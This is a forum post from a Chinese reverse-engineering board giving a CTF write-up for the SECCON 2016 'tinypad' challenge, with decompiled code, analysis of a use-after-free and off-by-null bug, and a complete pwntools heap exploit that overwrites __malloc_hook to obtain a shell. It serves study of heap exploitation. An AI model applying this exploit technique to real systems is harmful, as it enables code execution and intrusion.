吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2065|回复: 5
收起左侧

[CTF] SECCON CTF 2016 : tinypad

[复制链接]
R00tkit 发表于 2023-9-1 19:41
本帖最后由 R00tkit 于 2023-9-22 20:47 编辑

检查文件信息

1

1

2

2

没有开PIE保护,ELF64小端序文件。

3

3

4

4

暂改rpath为2.23。

试运行

5

5

逆向分析

/* main 函数 */

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 len_of_str; // rsi
  const char *str; // rdi
  __int64 v6; // rdx
  __int64 v7; // rdx
  __int64 v8; // rdx
  __int64 v9; // rdx
  size_t len_of_con; // rax
  int choice; // eax
  int size_alloc; // eax
  __int64 v13; // rdx
  size_t v14; // rax
  __int64 v15; // rdx
  unsigned __int64 v16; // rax
  __int64 v17; // rdx
  __int64 v18; // rdx
  int c; // [rsp+4h] [rbp-1Ch] BYREF
  int i; // [rsp+8h] [rbp-18h]
  int index; // [rsp+Ch] [rbp-14h]
  int v23; // [rsp+10h] [rbp-10h]
  int size; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v25; // [rsp+18h] [rbp-8h]

  v25 = __readfsqword(0x28u);
  v23 = 0;
  write_n(&unk_4019F0, 1LL, envp);
  write_n(
    "  ============================================================================\n"
    "// _|_|_|_|_|  _|_|_|  _|      _|  _|      _|  _|_|_|      _|_|    _|_|_|     \\\\\n"
    "||     _|        _|    _|_|    _|    _|  _|    _|    _|  _|    _|  _|    _|   ||\n"
    "||     _|        _|    _|  _|  _|      _|      _|_|_|    _|_|_|_|  _|    _|   ||\n"
    "||     _|        _|    _|    _|_|      _|      _|        _|    _|  _|    _|   ||\n"
    "\\\\     _|      _|_|_|  _|      _|      _|      _|        _|    _|  _|_|_|     //\n"
    "  ============================================================================\n",
    563LL,
    v3);
  len_of_str = 1LL;
  str = (const char *)&unk_4019F0;
  write_n(&unk_4019F0, 1LL, v6);
  do
  {
    for ( i = 0; i <= 3; ++i )                  // output all pad with i=0
    {
      LOBYTE(c) = i + '1';
      writeln("+------------------------------------------------------------------------------+\n", 81LL);
      write_n(" #   INDEX: ", 12LL, v8);
      writeln(&c, 1LL);
      write_n(" # CONTENT: ", 12LL, v9);
      if ( *(_QWORD *)&tinypad[0x10 * i + 0x108] )
      {
        len_of_con = strlen(*(const char **)&tinypad[0x10 * i + 0x108]);
        writeln(*(_QWORD *)&tinypad[0x10 * i + 0x108], len_of_con);
      }
      len_of_str = 1LL;
      str = (const char *)&unk_4019F0;
      writeln(&unk_4019F0, 1LL);
    }
    index = 0;                                  // init index
    choice = getcmd((__int64)str, len_of_str, v7);
    v23 = choice;
    if ( choice == 'D' )                        // delete start
    {
      write_n("(INDEX)>>> ", 11LL, v7);
      index = read_int();
      if ( index <= 0 || index > 4 )
      {
LABEL_29:
        len_of_str = 13LL;
        str = "Invalid index";
        writeln("Invalid index", 13LL);
        continue;
      }
      if ( !*(_QWORD *)&tinypad[0x10 * index + 0xF0] )
      {
LABEL_31:
        len_of_str = 8LL;
        str = "Not used";
        writeln("Not used", 8LL);
        continue;
      }
      free(*(void **)&tinypad[0x10 * index + 0xF8]); // because index begin with 1,so this is 0xF8 ; UAF漏洞
      *(_QWORD *)&tinypad[0x10 * index + 0xF0] = 0LL;
      len_of_str = 9LL;
      str = "\nDeleted.";
      writeln("\nDeleted.", 9LL);
    }                                           // delete end
    else if ( choice > 'D' )
    {
      if ( choice != 'E' )
      {
        if ( choice == 'Q' )                    // Quit
          continue;
LABEL_41:
        len_of_str = 17LL;
        str = "No such a command";
        writeln("No such a command", 17LL);
        continue;
      }
      write_n("(INDEX)>>> ", 11LL, v7);         // edit start
      index = read_int();
      if ( index <= 0 || index > 4 )
        goto LABEL_29;
      if ( !*(_QWORD *)&tinypad[0x10 * index + 0xF0] )
        goto LABEL_31;
      c = '0';
      strcpy(tinypad, *(const char **)&tinypad[0x10 * index + 0xF8]);
      while ( toupper(c) != 'Y' )
      {
        write_n("CONTENT: ", 9LL, v18);
        v14 = strlen(tinypad);
        writeln(tinypad, v14);
        write_n("(CONTENT)>>> ", 13LL, v15);
        v16 = strlen(*(const char **)&tinypad[0x10 * index + 0xF8]);
        read_until((__int64)tinypad, v16, '\n');
        writeln("Is it OK?", 9LL);
        write_n("(Y/n)>>> ", 9LL, v17);
        read_until((__int64)&c, 1uLL, '\n');
      }
      strcpy(*(char **)&tinypad[0x10 * index + 0xF8], tinypad);
      len_of_str = 8LL;
      str = "\nEdited.";
      writeln("\nEdited.", 8LL);                // edit end
    }
    else
    {
      if ( choice != 'A' )                      // Add begin
        goto LABEL_41;
      while ( index <= 3 )
      {
        v7 = 0x10 * (index + 0x10LL);
        if ( !*(_QWORD *)&tinypad[v7] )
          break;
        ++index;
      }
      if ( index == 4 )
      {
        len_of_str = 17LL;
        str = "No space is left.";
        writeln("No space is left.", 17LL);
      }
      else
      {
        size = -1;
        write_n("(SIZE)>>> ", 10LL, v7);
        size = read_int();
        if ( size <= 0 )
        {
          size_alloc = 1;
        }
        else
        {
          size_alloc = size;
          if ( (unsigned __int64)size > 0x100 )
            size_alloc = 0x100;
        }
        size = size_alloc;
        *(_QWORD *)&tinypad[0x10 * index + 0x100] = size_alloc;
        *(_QWORD *)&tinypad[0x10 * index + 0x108] = malloc(size);
        v13 = 0x10 * (index + 0x10LL);
        if ( !*(_QWORD *)&tinypad[v13 + 8] )
        {
          writerrln("[!] No memory is available.", 27LL);
          exit(-1);
        }
        write_n("(CONTENT)>>> ", 13LL, v13);
        read_until(*(_QWORD *)&tinypad[0x10 * index + 0x108], size, '\n');
        len_of_str = 7LL;
        str = "\nAdded.";
        writeln("\nAdded.", 7LL);
      }
    }                                           // Add end
  }
  while ( v23 != 'Q' );
  return 0;
}
/* getcmd 函数 */

int __fastcall getcmd(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v3; // rdx
  __int64 v4; // rdx
  int c; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v7; // [rsp+8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  c = 0;
  write_n(
    "+- MENU -----------------------------------------------------------------------+\n"
    "| [A] Add memo                                                                 |\n"
    "| [D] Delete memo                                                              |\n"
    "| [E] Edit memo                                                                |\n"
    "| [Q] Quit                                                                     |\n"
    "+------------------------------------------------------------------------------+\n",
    486LL,
    a3);
  write_n("(CMD)>>> ", 9LL, v3);
  read_until(&c, 1LL, 10LL);
  write_n(&unk_4019F0, 1LL, v4);
  return toupper(c);
}
__int64 __fastcall read_until(__int64 a1, unsigned __int64 a2, unsigned int a3)
{
  unsigned __int64 i; // [rsp+28h] [rbp-18h]
  __int64 n; // [rsp+30h] [rbp-10h]

  for ( i = 0LL; i < a2; ++i )
  {
    n = read_n(0LL, a1 + i, 1LL);
    if ( n < 0 )
      return -1LL;
    if ( !n || *(char *)(a1 + i) == a3 )
      break;
  }
  *(_BYTE *)(a1 + i) = 0;  // off-by-null
  if ( i == a2 && *(_BYTE *)(a2 - 1 + a1) != '\n' )
    dummyinput(a3);
  return i;
}

主要逻辑都写在了main函数里,delete时将data_size置0,却未将data指向置零,存在UAF漏洞。read_until()函数存在off-by-null漏洞。

漏洞分析

本题存在UAF漏洞,且输出时并不对size做检查,很容易泄露堆和libc地址。再通过off-by-null构造堆块重叠,将chunk_below_malloc_hook写入fast bin,申请出来时写入one_gadget,再去申请一个堆块便可get_shell。

前置脚本

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
context.arch='amd64'

p = process("./tinypad")
elf = ELF('./tinypad')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

is_debug = 1

def debug():
    if is_debug:
        gdb.attach(p)
        pause()
    else:
        pass

def add_memo(p, size, content):
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"A")
    p.recvuntil(b"(SIZE)>>>")
    p.sendline(str(size).encode())
    p.recvuntil(b"(CONTENT)>>>")
    p.sendline(content)

def delete_memo(p, idx):
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"D")
    p.recvuntil(b"(INDEX)>>>")
    p.sendline(str(idx).encode())

def edit_memo(p, idx, content):
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"E")
    p.recvuntil(b"(INDEX)>>>")
    p.sendline(str(idx).encode())
    p.recvuntil(b"(CONTENT)>>>")
    p.sendline(content)
    p.recvuntil(b"(Y/n)>>>")
    p.sendline(b"Y")

泄露地址

def leak_addr():
    global heap_addr, libc_base, one_gadget, addr_malloc_hook, fake_fast
    add_memo(p, 0x60, b"a" * 0x10) # index(1) chunk(1)
    add_memo(p, 0x60, b"b" * 0x10) # index(2) chunk(2)
    add_memo(p, 0xf0, b"c" * 0x10) # index(3) chunk(3)
    add_memo(p, 0x80, b"d" * 0x10) # index(4) chunk(4)
    debug() # debug_1
    delete_memo(p, 3)
    delete_memo(p, 2)
    delete_memo(p, 1)
    debug() # debug_2
    p.recvuntil(b"INDEX: 1")
    p.recvuntil(b"CONTENT: ")
    heap_addr = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) # 2_prev_size
    log.success("heap_addr: 0x%x" % heap_addr)

    p.recvuntil(b"INDEX: 3")
    p.recvuntil(b"CONTENT: ")
    arena = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
    libc_base = arena - 0x3c4b78
    log.success("libc_base: 0x%x" % libc_base)

    fake_fast = libc_base + libc.sym['__malloc_hook'] - 0x23
    one_gadget = libc_base + 0xf1247

debug_1

debug_1
debug_1
index(4)用来阻隔top_chunk。index(3)会进入unsorted bin,用来泄露libc基址。index(2)和index(1)进入fast bin。index(1)_fd指向index(2),用来泄露堆地址。

debug_2

debug_2

debug_2
可以看到,此时已经构成泄露条件,程序会自动打印所有content,我们只需要接收index(3)和index(1)的内容即可。

off-by-null

def HOE():
    add_memo(p, 0xf0, b"C" * 0x10) # index(1) -> chunk(3)
    add_memo(p, 0x60, p64(0) + p64(0xd0) + p64(heap_addr - 0x60) + p64(heap_addr - 0x60)) # index(2) -> chunk(1)
    add_memo(p, 0x68, b"B" * 0x60 + p64(0xd0)) # index(3) -> chunk(2)
    debug() # debug_3
    delete_memo(p, 1)
    delete_memo(p, 3)
    debug() # debug_4

    add_memo(p, 0x90, b'E' * 0x50 + p64(0) + p64(0x71) + p64(fake_fast)) # index(1)
    debug() # debug_5
    delete_memo(p, 1)

debug_3

debug_3
debug_3
这里有一些弯子要绕,我们现在的index(1)->chunk(3),index(2)->chunk(1),index(3)->chunk(2)。如上图所示,我们通过在申请index(2)时,index(2)->chunk(1),将chunk(1)构造为一个free_chunk,将fake_chunk_fd,fake_chunk_bk改为chunk(1)_fd的位置来绕过unlink检查,因为我们当初泄露的时chunk(2)_prev_size,所以heap_addr-0x60的位置就是fake_chunk_prev_size。将fake_chunk_size改为0xd0,然后将index(1)->chunk(3)的prev_size改为0xd0,绕过free检查。将index(1)->chunk(3)释放后将造成堆块重叠,将index(3)->chunk(2)包含到重叠的堆块中。

debug_4

debug_4

debug_4

dz4

dz4

debug_5

我们看到,此时已经完成了堆块重叠,我们将index(3)->chunk(2) free后,chunk(2) 进入fast bin,然后我们的大堆块从chunk(1)_fd开始,0x1d0大小的堆块被放进了unsorted bin。我们申请一个足够覆盖chunk(2)的堆块将从unsorted bin中分配,通过此堆块将chunk(2)_fd修改为fake_chunk_below_malloc_hook,我们申请两次就可申请到fake_chunk。

debug_5

debug_5
可以看到通过index(1)_0x101修改完毕。

get_shell

def get_shell():
    add_memo(p, 0x60, b'F' * 0x10) # take first fast # index(1)
    add_memo(p, 0x60, b'X' * 0x13 + p64(one_gadget)) # take second fast that's __malloc and write one_gadget to it # index(3)
    debug() # 6
    delete_memo(p, 2) # we have no pad can be write, free(2) add a chunk will exec one_gadget
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"A")
    p.recvuntil(b"(SIZE)>>>")
    p.sendline(str(0x10).encode())

debug_6

debug_6
0x23减去0x10的fake_chunk_fd&bk,剩下0x13偏移便可到达__malloc_hook,我们只需要添加0x13的偏移即可。成功将__malloc_hook改为one_gadget地址后,然后任意申请一个chunk便可get_shell。

sh

sh

完整exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
context.arch='amd64'

p = process("./tinypad")
elf = ELF('./tinypad')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

is_debug = 1

def debug():
    if is_debug:
        gdb.attach(p)
        pause()
    else:
        pass

def add_memo(p, size, content):
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"A")
    p.recvuntil(b"(SIZE)>>>")
    p.sendline(str(size).encode())
    p.recvuntil(b"(CONTENT)>>>")
    p.sendline(content)

def delete_memo(p, idx):
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"D")
    p.recvuntil(b"(INDEX)>>>")
    p.sendline(str(idx).encode())

def edit_memo(p, idx, content):
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"E")
    p.recvuntil(b"(INDEX)>>>")
    p.sendline(str(idx).encode())
    p.recvuntil(b"(CONTENT)>>>")
    p.sendline(content)
    p.recvuntil(b"(Y/n)>>>")
    p.sendline(b"Y")

def leak_addr():
    global heap_addr, libc_base, one_gadget, addr_malloc_hook, fake_fast
    add_memo(p, 0x60, b"a" * 0x10) # 1
    add_memo(p, 0x60, b"b" * 0x10) # 2
    add_memo(p, 0xf0, b"c" * 0x10) # 3
    add_memo(p, 0x80, b"d" * 0x10) # 4
    debug() # 1
    delete_memo(p, 3)
    delete_memo(p, 2)
    delete_memo(p, 1)
    debug() # 2
    p.recvuntil(b"INDEX: 1")
    p.recvuntil(b"CONTENT: ")
    heap_addr = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) # 2_prev_size
    log.success("heap_addr: 0x%x" % heap_addr)

    p.recvuntil(b"INDEX: 3")
    p.recvuntil(b"CONTENT: ")
    arena = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
    libc_base = arena - 0x3c4b78
    log.success("libc_base: 0x%x" % libc_base)

    fake_fast = libc_base + libc.sym['__malloc_hook'] - 0x23
    one_gadget = libc_base + 0xf1247

def HOE():
    add_memo(p, 0xf0, b"C" * 0x10) # index(1) -> chunk(3)
    add_memo(p, 0x60, p64(0) + p64(0xd0) + p64(heap_addr - 0x60) + p64(heap_addr - 0x60)) # index(2) -> chunk(1)
    add_memo(p, 0x68, b"B" * 0x60 + p64(0xd0)) # index(3) -> chunk(2)
    debug() # 3
    delete_memo(p, 1)
    delete_memo(p, 3)
    debug() # 4

    add_memo(p, 0x90, b'E' * 0x50 + p64(0) + p64(0x71) + p64(fake_fast)) # index(1)
    debug() # 5
    delete_memo(p, 1)

def get_shell():
    add_memo(p, 0x60, b'F' * 0x10) # take first fast # index(1)
    debug() # 6
    add_memo(p, 0x60, b'X' * 0x13 + p64(one_gadget)) # take second fast that's __malloc and write one_gadget to it # index(3)
    debug() # 7
    delete_memo(p, 2) # we have no pad can be write, free(2) add a chunk will exec one_gadget
    p.recvuntil(b"(CMD)>>>")
    p.sendline(b"A")
    p.recvuntil(b"(SIZE)>>>")
    p.sendline(str(0x10).encode())

def pwn():
    leak_addr()
    HOE()
    get_shell()

    p.interactive()

if __name__ == '__main__':
    pwn()

免费评分

参与人数 4威望 +1 吾爱币 +24 热心值 +4 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
xlln + 1 + 1 我很赞同!
hrh123 + 2 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

xubaosen 发表于 2023-9-1 20:48
有谁科普下这软件干啥的?
头像被屏蔽
moruye 发表于 2023-9-1 21:21
peiwithhao 发表于 2023-9-2 07:40
netpeng 发表于 2023-9-2 13:06
学习了,感谢分享。
头像被屏蔽
moruye 发表于 2023-9-2 21:06
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 12:39

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表